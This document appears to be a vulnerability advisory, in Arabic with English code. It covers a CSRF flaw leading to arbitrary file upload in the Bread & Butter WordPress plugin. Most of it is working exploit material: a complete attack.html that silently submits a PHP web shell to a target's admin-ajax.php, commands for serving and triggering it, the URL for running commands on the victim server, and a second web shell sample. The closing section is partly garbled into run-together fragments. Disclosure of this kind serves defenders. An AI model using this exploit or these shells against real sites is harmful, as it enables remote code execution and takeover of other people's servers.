
Bread & Butter: حجب المحتوى + التقاط العملاء المحتملين + جمع بيانات الطرف الأول + رعاية العملاء المحتملين عبر وكلاء Ai <= 7.10.1321 - تزوير الطلبات عبر المواقع إلى رفع ملفات تعسفي
يحتوي إضافة Bread & Butter IO على ثغرة أمنية في وظيفة رفع الصور تتيح لأي مهاجم خداع المسؤولين المُصادَق عليهم لرفع ملفات تعسفية إلى الخادم، بما في ذلك قذائف PHP، مما يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد (RCE). تنبع الثغرة من دالة uploadImage() التي تفتقر إلى حماية CSRF، مما يسمح للمهاجمين بصياغة طلبات ضارة ستنفذها متصفحات المسؤولين تلقائيًا.
توجد الثغرة في دالة uploadImage() في /bread-butter/src/Base/Ajax.php، التي تفتقر إلى التحقق السليم من الملفات وحماية CSRF، بينما تستخدم file_put_contents() لكتابة الملفات مباشرةً إلى دليل رفع WordPress قبل أي فحوصات أمنية.
إليك ملف attack.html البسيط:
<!DOCTYPE html>
<html>
<body>
<button onclick="exploit()">CSRF Attack</button>
<script>
function exploit() {
const form = document.createElement('form');
form.action = 'http://TARGETSITE.COM/wp-admin/admin-ajax.php';
form.method = 'POST';
form.enctype = 'multipart/form-data';
form.target = '_blank';
form.style.display = 'none';
// Action field
const action = document.createElement('input');
action.name = 'action';
action.value = 'upload_image';
form.appendChild(action);
// File field
const file = document.createElement('input');
file.type = 'file';
file.name = 'file';
const blob = new Blob([`<?php system($_GET['cmd']); ?>`], { type: 'image/jpeg' });
const phpFile = new File([blob], 'test.php', { type: 'image/jpeg' });
const dt = new DataTransfer();
dt.items.add(phpFile);
file.files = dt.files;
form.appendChild(file);
document.body.appendChild(form);
form.submit();
}
</script>
</body>
</html>
للحصول على POC يمكنك تشغيله محليًا بشيء مثل:
# Serve the CSRF exploit
python3 -m http.server 1337
# Visit: http://localhost:1337/attack.html
# Click "CSRF Attack" button
# Check new tab for WordPress response
# Test uploaded shell: https://TARGETSITE.COM/wp-content/uploads/[year]/[month]/test.php?cmd=whoami
بمجرد تسجيل الدخول كمسؤول على متصفح الضحية، يؤدي النقر على الرابط إلى تنفيذ تعليمات برمجية عن بُعد (RCE).
توجد الثغرة في دالة uploadImage() عند السطر 411 من /bread-butter/src/Base/Ajax.php:
public function uploadImage() {
$this->checkAdmin();
$file = $_FILES['file'];
$type = $file['type'];
$name = $file['name'];
$image_url = $file['tmp_name'];
$upload_dir = wp_upload_dir();
$image_data = file_get_contents($image_url);
$filename = basename($name);
if (wp_mkdir_p($upload_dir['path'])) {
$file = $upload_dir['path'] . '/' . $filename;
} else {
$file = $upload_dir['basedir'] . '/' . $filename;
}
file_put_contents($file, $image_data); // Attacker get's file moved to acessable storage!
// Post-upload processing (after vulnerability is exploited)
$wp_filetype = wp_check_filetype($filename, null);
// ... rest of function
}
يتم تسجيل الدالة المعرضة للخطر كمعالج AJAX في WordPress عند السطر 95:
add_action('wp_ajax_' . self::$uploadImage, array($this, 'uploadImage'));
حيث يتم تعريف self::$uploadImage على أنه upload_image عند السطر 37.
الضابط الأمني الوحيد هو دالة checkAdmin() عند الأسطر 166-171:
public function checkAdmin() {
if (!current_user_can('manage_options')) {
echo 0;
wp_die();
}
}
إن غياب حماية CSRF يجعل هذه الثغرة قابلة للاستغلال عبر هجمات تزوير الطلبات عبر المواقع. يوضح ملف attack.html التجريبي ذلك من خلال:
target="_blank" لتجاوز قيود CORSattack.html)/wp-content/uploads/[year]/[month]/test.php?cmd=whoami/wp-admin/admin-ajax.php<?php
if(isset($_GET['cmd'])) {
system($_GET['cmd']);
} else {
echo "Shell ready. Use ?cmd=command";
}
?>
/wp-content/uploads/[year]/[month]/[filename].php